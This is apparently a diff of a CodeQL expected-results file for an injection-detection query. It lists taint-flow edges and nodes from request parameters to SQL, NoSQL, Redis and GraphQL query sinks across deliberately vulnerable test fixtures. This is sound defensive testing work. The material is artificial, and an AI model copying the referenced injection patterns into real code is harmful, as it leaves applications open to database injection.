+| mongoose.js:20:8:20:17 | query | mongoose.js:58:10:58:14 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:59:8:59:12 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:60:7:60:11 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:61:16:61:20 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:62:12:62:16 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:63:10:63:14 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:67:37:67:41 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:68:46:68:50 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:69:47:69:51 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:90:21:90:25 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:97:14:97:18 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:99:31:99:35 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:119:38:119:42 | query | provenance |  |
+| mongoose.js:20:8:20:17 | query | mongoose.js:122:30:122:34 | query | provenance |  |
+| mongoose.js:20:16:20:17 | {} | mongoose.js:20:8:20:17 | query | provenance |  |
+| mongoose.js:21:2:21:6 | query | mongoose.js:23:22:23:26 | query | provenance |  |
+| mongoose.js:21:16:21:23 | req.body | mongoose.js:21:16:21:29 | req.body.title | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:20:8:20:17 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:20:16:20:17 | {} | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:21:2:21:6 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:23:22:23:26 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:25:17:25:21 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:27:22:27:26 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:29:21:29:25 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:31:28:31:32 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:33:16:33:20 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:35:19:35:23 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:37:28:37:32 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:39:28:39:32 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:41:28:41:32 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:43:22:43:26 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:45:18:45:22 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:47:22:47:26 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:49:21:49:25 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:51:32:51:36 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:53:27:53:31 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:54:8:54:12 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:57:17:57:21 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:58:10:58:14 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:59:8:59:12 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:60:7:60:11 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:61:16:61:20 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:62:12:62:16 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:63:10:63:14 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:67:37:67:41 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:68:46:68:50 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:69:47:69:51 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:71:46:71:50 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:73:51:73:55 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:75:46:75:50 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:78:46:78:50 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:80:51:80:55 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:82:46:82:50 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:90:21:90:25 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:97:14:97:18 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:99:31:99:35 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:119:38:119:42 | query | provenance | Config |
+| mongoose.js:21:16:21:29 | req.body.title | mongoose.js:122:30:122:34 | query | provenance | Config |
+| mongoose.js:23:22:23:26 | query | mongoose.js:23:21:23:27 | [query] | provenance | Config |
+| mongoose.js:23:22:23:26 | query | mongoose.js:25:17:25:21 | query | provenance |  |
+| mongoose.js:25:17:25:21 | query | mongoose.js:27:22:27:26 | query | provenance |  |
+| mongoose.js:27:22:27:26 | query | mongoose.js:29:21:29:25 | query | provenance |  |
+| mongoose.js:29:21:29:25 | query | mongoose.js:31:28:31:32 | query | provenance |  |
+| mongoose.js:31:28:31:32 | query | mongoose.js:33:16:33:20 | query | provenance |  |
+| mongoose.js:33:16:33:20 | query | mongoose.js:35:19:35:23 | query | provenance |  |
+| mongoose.js:35:19:35:23 | query | mongoose.js:37:28:37:32 | query | provenance |  |
+| mongoose.js:37:28:37:32 | query | mongoose.js:39:28:39:32 | query | provenance |  |
+| mongoose.js:39:28:39:32 | query | mongoose.js:41:28:41:32 | query | provenance |  |
+| mongoose.js:41:28:41:32 | query | mongoose.js:43:22:43:26 | query | provenance |  |
+| mongoose.js:43:22:43:26 | query | mongoose.js:45:18:45:22 | query | provenance |  |
+| mongoose.js:45:18:45:22 | query | mongoose.js:47:22:47:26 | query | provenance |  |
+| mongoose.js:47:22:47:26 | query | mongoose.js:49:21:49:25 | query | provenance |  |
+| mongoose.js:49:21:49:25 | query | mongoose.js:51:32:51:36 | query | provenance |  |
+| mongoose.js:51:32:51:36 | query | mongoose.js:53:27:53:31 | query | provenance |  |
+| mongoose.js:53:27:53:31 | query | mongoose.js:54:8:54:12 | query | provenance |  |
+| mongoose.js:54:8:54:12 | query | mongoose.js:57:17:57:21 | query | provenance |  |
+| mongoose.js:57:17:57:21 | query | mongoose.js:58:10:58:14 | query | provenance |  |
+| mongoose.js:58:10:58:14 | query | mongoose.js:59:8:59:12 | query | provenance |  |
+| mongoose.js:59:8:59:12 | query | mongoose.js:60:7:60:11 | query | provenance |  |
+| mongoose.js:60:7:60:11 | query | mongoose.js:61:16:61:20 | query | provenance |  |
+| mongoose.js:61:16:61:20 | query | mongoose.js:62:12:62:16 | query | provenance |  |
+| mongoose.js:62:12:62:16 | query | mongoose.js:63:10:63:14 | query | provenance |  |
+| mongoose.js:63:10:63:14 | query | mongoose.js:67:37:67:41 | query | provenance |  |
+| mongoose.js:67:37:67:41 | query | mongoose.js:68:46:68:50 | query | provenance |  |
+| mongoose.js:68:46:68:50 | query | mongoose.js:69:47:69:51 | query | provenance |  |
+| mongoose.js:69:47:69:51 | query | mongoose.js:71:46:71:50 | query | provenance |  |
+| mongoose.js:69:47:69:51 | query | mongoose.js:73:51:73:55 | query | provenance |  |
+| mongoose.js:69:47:69:51 | query | mongoose.js:75:46:75:50 | query | provenance |  |
+| mongoose.js:69:47:69:51 | query | mongoose.js:78:46:78:50 | query | provenance |  |
+| mongoose.js:69:47:69:51 | query | mongoose.js:80:51:80:55 | query | provenance |  |
+| mongoose.js:69:47:69:51 | query | mongoose.js:82:46:82:50 | query | provenance |  |
+| mongoose.js:69:47:69:51 | query | mongoose.js:90:21:90:25 | query | provenance |  |
+| mongoose.js:90:21:90:25 | query | mongoose.js:97:14:97:18 | query | provenance |  |
+| mongoose.js:97:14:97:18 | query | mongoose.js:99:31:99:35 | query | provenance |  |
+| mongoose.js:99:31:99:35 | query | mongoose.js:119:38:119:42 | query | provenance |  |
+| mongoose.js:101:6:101:22 | id | mongoose.js:109:20:109:21 | id | provenance |  |
+| mongoose.js:101:6:101:22 | id | mongoose.js:116:23:116:24 | id | provenance |  |
+| mongoose.js:101:11:101:22 | req.query.id | mongoose.js:101:6:101:22 | id | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:102:22:102:25 | cond | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:103:21:103:24 | cond | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:104:21:104:24 | cond | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:105:18:105:21 | cond | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:106:22:106:25 | cond | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:107:16:107:19 | cond | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:108:19:108:22 | cond | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:110:28:110:31 | cond | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:111:28:111:31 | cond | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:112:28:112:31 | cond | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:113:18:113:21 | cond | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:114:22:114:25 | cond | provenance |  |
+| mongoose.js:101:25:101:45 | cond | mongoose.js:115:21:115:24 | cond | provenance |  |
+| mongoose.js:101:32:101:45 | req.query.cond | mongoose.js:101:25:101:45 | cond | provenance |  |
+| mongoose.js:116:23:116:24 | id | mongoose.js:116:16:116:26 | { _id: id } | provenance | Config |
+| mongoose.js:119:38:119:42 | query | mongoose.js:122:30:122:34 | query | provenance |  |
+| mongooseJsonParse.js:19:11:19:20 | query | mongooseJsonParse.js:22:19:22:23 | query | provenance |  |
+| mongooseJsonParse.js:19:19:19:20 | {} | mongooseJsonParse.js:19:11:19:20 | query | provenance |  |
+| mongooseJsonParse.js:20:19:20:44 | JSON.pa ... y.data) | mongooseJsonParse.js:20:19:20:50 | JSON.pa ... ).title | provenance | Config |
+| mongooseJsonParse.js:20:19:20:50 | JSON.pa ... ).title | mongooseJsonParse.js:19:11:19:20 | query | provenance | Config |
+| mongooseJsonParse.js:20:19:20:50 | JSON.pa ... ).title | mongooseJsonParse.js:19:19:19:20 | {} | provenance | Config |
+| mongooseJsonParse.js:20:19:20:50 | JSON.pa ... ).title | mongooseJsonParse.js:22:19:22:23 | query | provenance | Config |
+| mongooseJsonParse.js:20:30:20:43 | req.query.data | mongooseJsonParse.js:20:19:20:44 | JSON.pa ... y.data) | provenance | Config |
+| mongooseModelClient.js:10:7:10:32 | v | mongooseModelClient.js:11:22:11:22 | v | provenance |  |
+| mongooseModelClient.js:10:11:10:32 | JSON.pa ... body.x) | mongooseModelClient.js:10:7:10:32 | v | provenance |  |
+| mongooseModelClient.js:10:22:10:29 | req.body | mongooseModelClient.js:10:22:10:31 | req.body.x | provenance | Config |
+| mongooseModelClient.js:10:22:10:31 | req.body.x | mongooseModelClient.js:10:11:10:32 | JSON.pa ... body.x) | provenance | Config |
+| mongooseModelClient.js:11:22:11:22 | v | mongooseModelClient.js:11:16:11:24 | { id: v } | provenance | Config |
+| mongooseModelClient.js:12:22:12:29 | req.body | mongooseModelClient.js:12:22:12:32 | req.body.id | provenance | Config |
+| mongooseModelClient.js:12:22:12:32 | req.body.id | mongooseModelClient.js:12:16:12:34 | { id: req.body.id } | provenance | Config |
+| mysql.js:6:9:6:31 | temp | mysql.js:15:62:15:65 | temp | provenance |  |
+| mysql.js:6:9:6:31 | temp | mysql.js:19:70:19:73 | temp | provenance |  |
+| mysql.js:6:16:6:31 | req.params.value | mysql.js:6:9:6:31 | temp | provenance |  |
+| mysql.js:15:62:15:65 | temp | mysql.js:15:18:15:65 | 'SELECT ...  + temp | provenance |  |
+| mysql.js:19:70:19:73 | temp | mysql.js:19:26:19:73 | 'SELECT ...  + temp | provenance |  |
+| pg-promise-types.ts:7:9:7:28 | taint | pg-promise-types.ts:8:17:8:21 | taint | provenance |  |
+| pg-promise-types.ts:7:17:7:28 | req.params.x | pg-promise-types.ts:7:9:7:28 | taint | provenance |  |
+| pg-promise.js:6:7:7:55 | query | pg-promise.js:9:10:9:14 | query | provenance |  |
+| pg-promise.js:6:7:7:55 | query | pg-promise.js:10:11:10:15 | query | provenance |  |
+| pg-promise.js:6:7:7:55 | query | pg-promise.js:11:17:11:21 | query | provenance |  |
+| pg-promise.js:6:7:7:55 | query | pg-promise.js:12:10:12:14 | query | provenance |  |
+| pg-promise.js:6:7:7:55 | query | pg-promise.js:13:12:13:16 | query | provenance |  |
+| pg-promise.js:6:7:7:55 | query | pg-promise.js:14:18:14:22 | query | provenance |  |
+| pg-promise.js:6:7:7:55 | query | pg-promise.js:15:11:15:15 | query | provenance |  |
+| pg-promise.js:6:7:7:55 | query | pg-promise.js:16:10:16:14 | query | provenance |  |
+| pg-promise.js:6:7:7:55 | query | pg-promise.js:17:16:17:20 | query | provenance |  |
+| pg-promise.js:6:7:7:55 | query | pg-promise.js:18:12:18:16 | query | provenance |  |
+| pg-promise.js:6:7:7:55 | query | pg-promise.js:19:13:19:17 | query | provenance |  |
+| pg-promise.js:6:7:7:55 | query | pg-promise.js:22:11:22:15 | query | provenance |  |
+| pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:6:7:7:55 | query | provenance |  |
+| pg-promise.js:9:10:9:14 | query | pg-promise.js:10:11:10:15 | query | provenance |  |
+| pg-promise.js:10:11:10:15 | query | pg-promise.js:11:17:11:21 | query | provenance |  |
+| pg-promise.js:11:17:11:21 | query | pg-promise.js:12:10:12:14 | query | provenance |  |
+| pg-promise.js:12:10:12:14 | query | pg-promise.js:13:12:13:16 | query | provenance |  |
+| pg-promise.js:13:12:13:16 | query | pg-promise.js:14:18:14:22 | query | provenance |  |
+| pg-promise.js:14:18:14:22 | query | pg-promise.js:15:11:15:15 | query | provenance |  |
+| pg-promise.js:15:11:15:15 | query | pg-promise.js:16:10:16:14 | query | provenance |  |
+| pg-promise.js:16:10:16:14 | query | pg-promise.js:17:16:17:20 | query | provenance |  |
+| pg-promise.js:17:16:17:20 | query | pg-promise.js:18:12:18:16 | query | provenance |  |
+| pg-promise.js:18:12:18:16 | query | pg-promise.js:19:13:19:17 | query | provenance |  |
+| pg-promise.js:19:13:19:17 | query | pg-promise.js:22:11:22:15 | query | provenance |  |
+| pg-promise.js:22:11:22:15 | query | pg-promise.js:60:20:60:24 | query | provenance |  |
+| pg-promise.js:22:11:22:15 | query | pg-promise.js:63:23:63:27 | query | provenance |  |
+| pg-promise.js:22:11:22:15 | query | pg-promise.js:64:16:64:20 | query | provenance |  |
+| redis.js:10:16:10:23 | req.body | redis.js:10:16:10:27 | req.body.key | provenance | Config |
+| redis.js:12:9:12:26 | key | redis.js:13:16:13:18 | key | provenance |  |
+| redis.js:12:9:12:26 | key | redis.js:18:16:18:18 | key | provenance |  |
+| redis.js:12:9:12:26 | key | redis.js:19:43:19:45 | key | provenance |  |
+| redis.js:12:9:12:26 | key | redis.js:25:14:25:16 | key | provenance |  |
+| redis.js:12:9:12:26 | key | redis.js:26:14:26:16 | key | provenance |  |
+| redis.js:12:9:12:26 | key | redis.js:32:28:32:30 | key | provenance |  |
+| redis.js:12:15:12:22 | req.body | redis.js:12:15:12:26 | req.body.key | provenance | Config |
+| redis.js:12:15:12:26 | req.body.key | redis.js:12:9:12:26 | key | provenance |  |
+| redis.js:13:16:13:18 | key | redis.js:18:16:18:18 | key | provenance |  |
+| redis.js:18:16:18:18 | key | redis.js:19:43:19:45 | key | provenance |  |
+| redis.js:19:43:19:45 | key | redis.js:25:14:25:16 | key | provenance |  |
+| redis.js:25:14:25:16 | key | redis.js:26:14:26:16 | key | provenance |  |
+| redis.js:26:14:26:16 | key | redis.js:30:23:30:25 | key | provenance |  |
+| redis.js:26:14:26:16 | key | redis.js:32:28:32:30 | key | provenance |  |
+| redis.js:38:11:38:28 | key | redis.js:39:16:39:18 | key | provenance |  |
+| redis.js:38:11:38:28 | key | redis.js:43:27:43:29 | key | provenance |  |
+| redis.js:38:11:38:28 | key | redis.js:46:34:46:36 | key | provenance |  |
+| redis.js:38:17:38:24 | req.body | redis.js:38:17:38:28 | req.body.key | provenance | Config |
+| redis.js:38:17:38:28 | req.body.key | redis.js:38:11:38:28 | key | provenance |  |
+| socketio.js:10:25:10:30 | handle | socketio.js:11:46:11:51 | handle | provenance |  |
+| socketio.js:11:46:11:51 | handle | socketio.js:11:12:11:53 | `INSERT ... andle}` | provenance |  |
+| tst2.js:8:66:8:78 | req.params.id | tst2.js:8:27:8:84 | "select ... d + "'" | provenance |  |
+| tst3.js:7:7:8:55 | query1 | tst3.js:9:14:9:19 | query1 | provenance |  |
+| tst3.js:8:16:8:34 | req.params.category | tst3.js:7:7:8:55 | query1 | provenance |  |
+| tst4.js:8:46:8:60 | $routeParams.id | tst4.js:8:10:8:66 | 'SELECT ... d + '"' | provenance |  |
+| tst.js:10:46:10:58 | req.params.id | tst.js:10:10:10:64 | 'SELECT ... d + '"' | provenance |  |
 nodes
 | graphql.js:8:11:8:28 | id | semmle.label | id |
 | graphql.js:8:16:8:28 | req.params.id | semmle.label | req.params.id |
-| graphql.js:10:34:20:5 | `\\n      ... }\\n    ` | semmle.label | `\\n      ... }\\n    ` |
-| graphql.js:12:46:12:47 | id | semmle.label | id |
-| graphql.js:26:11:26:28 | id | semmle.label | id |
-| graphql.js:26:16:26:28 | req.params.id | semmle.label | req.params.id |
-| graphql.js:27:30:27:40 | `foo ${id}` | semmle.label | `foo ${id}` |
-| graphql.js:27:37:27:38 | id | semmle.label | id |
-| graphql.js:30:32:30:42 | `foo ${id}` | semmle.label | `foo ${id}` |
-| graphql.js:30:39:30:40 | id | semmle.label | id |
-| graphql.js:33:18:33:28 | `foo ${id}` | semmle.label | `foo ${id}` |
-| graphql.js:33:25:33:26 | id | semmle.label | id |
-| graphql.js:39:11:39:28 | id | semmle.label | id |
-| graphql.js:39:16:39:28 | req.params.id | semmle.label | req.params.id |
-| graphql.js:44:14:44:24 | `foo ${id}` | semmle.label | `foo ${id}` |
-| graphql.js:44:21:44:22 | id | semmle.label | id |
-| graphql.js:48:44:48:54 | `foo ${id}` | semmle.label | `foo ${id}` |
-| graphql.js:48:51:48:52 | id | semmle.label | id |
-| graphql.js:55:11:55:28 | id | semmle.label | id |
-| graphql.js:55:16:55:28 | req.params.id | semmle.label | req.params.id |
-| graphql.js:56:39:56:49 | `foo ${id}` | semmle.label | `foo ${id}` |
-| graphql.js:56:46:56:47 | id | semmle.label | id |
-| graphql.js:58:66:58:76 | `foo ${id}` | semmle.label | `foo ${id}` |
-| graphql.js:58:73:58:74 | id | semmle.label | id |
-| graphql.js:74:9:74:25 | id | semmle.label | id |
-| graphql.js:74:14:74:25 | req.query.id | semmle.label | req.query.id |
-| graphql.js:75:46:75:64 | "{ foo" + id + " }" | semmle.label | "{ foo" + id + " }" |
-| graphql.js:75:56:75:57 | id | semmle.label | id |
-| graphql.js:84:14:90:8 | `{\\n     ...      }` | semmle.label | `{\\n     ...      }` |
-| graphql.js:88:13:88:14 | id | semmle.label | id |
-| graphql.js:119:11:119:28 | id | semmle.label | id |
-| graphql.js:119:16:119:28 | req.params.id | semmle.label | req.params.id |
-| graphql.js:120:38:120:48 | `foo ${id}` | semmle.label | `foo ${id}` |
-| graphql.js:120:45:120:46 | id | semmle.label | id |
+| graphql.js:9:34:19:5 | `\\n      ... }\\n    ` | semmle.label | `\\n      ... }\\n    ` |
+| graphql.js:11:46:11:47 | id | semmle.label | id |
+| graphql.js:25:11:25:28 | id | semmle.label | id |
+| graphql.js:25:16:25:28 | req.params.id | semmle.label | req.params.id |
+| graphql.js:26:30:26:40 | `foo ${id}` | semmle.label | `foo ${id}` |
+| graphql.js:26:37:26:38 | id | semmle.label | id |
+| graphql.js:29:32:29:42 | `foo ${id}` | semmle.label | `foo ${id}` |
+| graphql.js:29:39:29:40 | id | semmle.label | id |
+| graphql.js:32:18:32:28 | `foo ${id}` | semmle.label | `foo ${id}` |
+| graphql.js:32:25:32:26 | id | semmle.label | id |
+| graphql.js:38:11:38:28 | id | semmle.label | id |
+| graphql.js:38:16:38:28 | req.params.id | semmle.label | req.params.id |
+| graphql.js:43:14:43:24 | `foo ${id}` | semmle.label | `foo ${id}` |
+| graphql.js:43:21:43:22 | id | semmle.label | id |
+| graphql.js:47:44:47:54 | `foo ${id}` | semmle.label | `foo ${id}` |
+| graphql.js:47:51:47:52 | id | semmle.label | id |
+| graphql.js:54:11:54:28 | id | semmle.label | id |
+| graphql.js:54:16:54:28 | req.params.id | semmle.label | req.params.id |
+| graphql.js:55:39:55:49 | `foo ${id}` | semmle.label | `foo ${id}` |
+| graphql.js:55:46:55:47 | id | semmle.label | id |
+| graphql.js:57:66:57:76 | `foo ${id}` | semmle.label | `foo ${id}` |
+| graphql.js:57:73:57:74 | id | semmle.label | id |
+| graphql.js:73:9:73:25 | id | semmle.label | id |
+| graphql.js:73:14:73:25 | req.query.id | semmle.label | req.query.id |
+| graphql.js:74:46:74:64 | "{ foo" + id + " }" | semmle.label | "{ foo" + id + " }" |
+| graphql.js:74:56:74:57 | id | semmle.label | id |
+| graphql.js:82:14:88:8 | `{\\n     ...      }` | semmle.label | `{\\n     ...      }` |
+| graphql.js:86:13:86:14 | id | semmle.label | id |
+| graphql.js:117:11:117:28 | id | semmle.label | id |
+| graphql.js:117:16:117:28 | req.params.id | semmle.label | req.params.id |
+| graphql.js:118:38:118:48 | `foo ${id}` | semmle.label | `foo ${id}` |
+| graphql.js:118:45:118:46 | id | semmle.label | id |
+| hana.js:9:13:9:42 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:9:30:9:37 | req.body | semmle.label | req.body |
+| hana.js:10:15:10:80 | query | semmle.label | query |
+| hana.js:10:64:10:77 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:11:19:11:23 | query | semmle.label | query |
+| hana.js:16:15:16:44 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:16:32:16:39 | req.body | semmle.label | req.body |
+| hana.js:17:35:17:100 | `SELECT ... usInput | semmle.label | `SELECT ... usInput |
+| hana.js:17:87:17:100 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:23:15:23:44 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:23:32:23:39 | req.body | semmle.label | req.body |
+| hana.js:24:33:24:96 | `INSERT ... usInput | semmle.label | `INSERT ... usInput |
+| hana.js:24:83:24:96 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:30:13:30:42 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:30:30:30:37 | req.body | semmle.label | req.body |
+| hana.js:31:31:31:97 | "SELECT ... usInput | semmle.label | "SELECT ... usInput |
+| hana.js:31:84:31:97 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:47:7:47:36 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:47:24:47:31 | req.body | semmle.label | req.body |
+| hana.js:48:15:48:52 | 'SELECT ... usInput | semmle.label | 'SELECT ... usInput |
+| hana.js:48:39:48:52 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:50:40:50:89 | 'CALL P ... usInput | semmle.label | 'CALL P ... usInput |
+| hana.js:50:76:50:89 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:54:38:54:66 | 'PROC_D ... usInput | semmle.label | 'PROC_D ... usInput |
+| hana.js:54:53:54:66 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:68:7:68:36 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:68:24:68:31 | req.body | semmle.label | req.body |
+| hana.js:71:44:71:99 | "INSERT ... usInput | semmle.label | "INSERT ... usInput |
+| hana.js:71:86:71:99 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:73:17:73:54 | 'select ... usInput | semmle.label | 'select ... usInput |
+| hana.js:73:41:73:54 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:74:17:74:54 | 'select ... usInput | semmle.label | 'select ... usInput |
+| hana.js:74:41:74:54 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:76:20:76:73 | 'select ... usInput | semmle.label | 'select ... usInput |
+| hana.js:76:60:76:73 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:80:20:80:69 | 'call P ... usInput | semmle.label | 'call P ... usInput |
+| hana.js:80:56:80:69 | maliciousInput | semmle.label | maliciousInput |
+| hana.js:84:20:84:78 | 'select ... usInput | semmle.label | 'select ... usInput |
+| hana.js:84:65:84:78 | maliciousInput | semmle.label | maliciousInput |
 | html-sanitizer.js:13:39:13:44 | param1 | semmle.label | param1 |
 | html-sanitizer.js:14:5:14:24 | param1 | semmle.label | param1 |
 | html-sanitizer.js:14:14:14:24 | xss(param1) | semmle.label | xss(param1) |
@@ -84,125 +642,125 @@ nodes
 | marsdb-flow-to.js:10:17:10:18 | {} | semmle.label | {} |
 | marsdb-flow-to.js:11:17:11:24 | req.body | semmle.label | req.body |
 | marsdb-flow-to.js:11:17:11:30 | req.body.title | semmle.label | req.body.title |
-| marsdb-flow-to.js:14:17:14:21 | query | semmle.label | query |
+| marsdb-flow-to.js:13:17:13:21 | query | semmle.label | query |
 | marsdb.js:12:9:12:18 | query | semmle.label | query |
 | marsdb.js:12:17:12:18 | {} | semmle.label | {} |
 | marsdb.js:13:17:13:24 | req.body | semmle.label | req.body |
 | marsdb.js:13:17:13:30 | req.body.title | semmle.label | req.body.title |
-| marsdb.js:16:12:16:16 | query | semmle.label | query |
+| marsdb.js:15:12:15:16 | query | semmle.label | query |
 | minimongo.js:14:9:14:18 | query | semmle.label | query |
 | minimongo.js:14:17:14:18 | {} | semmle.label | {} |
 | minimongo.js:15:17:15:24 | req.body | semmle.label | req.body |
 | minimongo.js:15:17:15:30 | req.body.title | semmle.label | req.body.title |
-| minimongo.js:18:12:18:16 | query | semmle.label | query |
+| minimongo.js:17:12:17:16 | query | semmle.label | query |
 | mongodb.js:12:11:12:20 | query | semmle.label | query |
 | mongodb.js:12:19:12:20 | {} | semmle.label | {} |
 | mongodb.js:13:5:13:9 | query | semmle.label | query |
 | mongodb.js:13:19:13:26 | req.body | semmle.label | req.body |
 | mongodb.js:13:19:13:32 | req.body.title | semmle.label | req.body.title |
-| mongodb.js:18:16:18:20 | query | semmle.label | query |
-| mongodb.js:26:11:26:32 | title | semmle.label | title |
-| mongodb.js:26:19:26:26 | req.body | semmle.label | req.body |
-| mongodb.js:26:19:26:32 | req.body.title | semmle.label | req.body.title |
-| mongodb.js:32:18:32:45 | { title ... itle) } | semmle.label | { title ... itle) } |
-| mongodb.js:32:27:32:43 | JSON.parse(title) | semmle.label | JSON.parse(title) |
-| mongodb.js:32:38:32:42 | title | semmle.label | title |
-| mongodb.js:48:11:48:20 | query | semmle.label | query |
-| mongodb.js:48:19:48:20 | {} | semmle.label | {} |
-| mongodb.js:49:5:49:9 | query | semmle.label | query |
-| mongodb.js:49:19:49:33 | req.query.title | semmle.label | req.query.title |
-| mongodb.js:54:16:54:20 | query | semmle.label | query |
-| mongodb.js:59:8:59:17 | query | semmle.label | query |
-| mongodb.js:59:16:59:17 | {} | semmle.label | {} |
-| mongodb.js:60:2:60:6 | query | semmle.label | query |
-| mongodb.js:60:16:60:30 | req.query.title | semmle.label | req.query.title |
-| mongodb.js:65:12:65:16 | query | semmle.label | query |
-| mongodb.js:70:7:70:25 | tag | semmle.label | tag |
-| mongodb.js:70:13:70:25 | req.query.tag | semmle.label | req.query.tag |
-| mongodb.js:77:14:77:26 | { tags: tag } | semmle.label | { tags: tag } |
-| mongodb.js:77:22:77:24 | tag | semmle.label | tag |
-| mongodb.js:85:12:85:24 | { tags: tag } | semmle.label | { tags: tag } |
-| mongodb.js:85:20:85:22 | tag | semmle.label | tag |
-| mongodb.js:106:9:106:18 | query | semmle.label | query |
-| mongodb.js:106:17:106:18 | {} | semmle.label | {} |
-| mongodb.js:107:3:107:7 | query | semmle.label | query |
-| mongodb.js:107:17:107:29 | queries.title | semmle.label | queries.title |
-| mongodb.js:112:14:112:18 | query | semmle.label | query |
+| mongodb.js:17:16:17:20 | query | semmle.label | query |
+| mongodb.js:25:11:25:32 | title | semmle.label | title |
+| mongodb.js:25:19:25:26 | req.body | semmle.label | req.body |
+| mongodb.js:25:19:25:32 | req.body.title | semmle.label | req.body.title |
+| mongodb.js:30:18:30:45 | { title ... itle) } | semmle.label | { title ... itle) } |
+| mongodb.js:30:27:30:43 | JSON.parse(title) | semmle.label | JSON.parse(title) |
+| mongodb.js:30:38:30:42 | title | semmle.label | title |
+| mongodb.js:46:11:46:20 | query | semmle.label | query |
+| mongodb.js:46:19:46:20 | {} | semmle.label | {} |
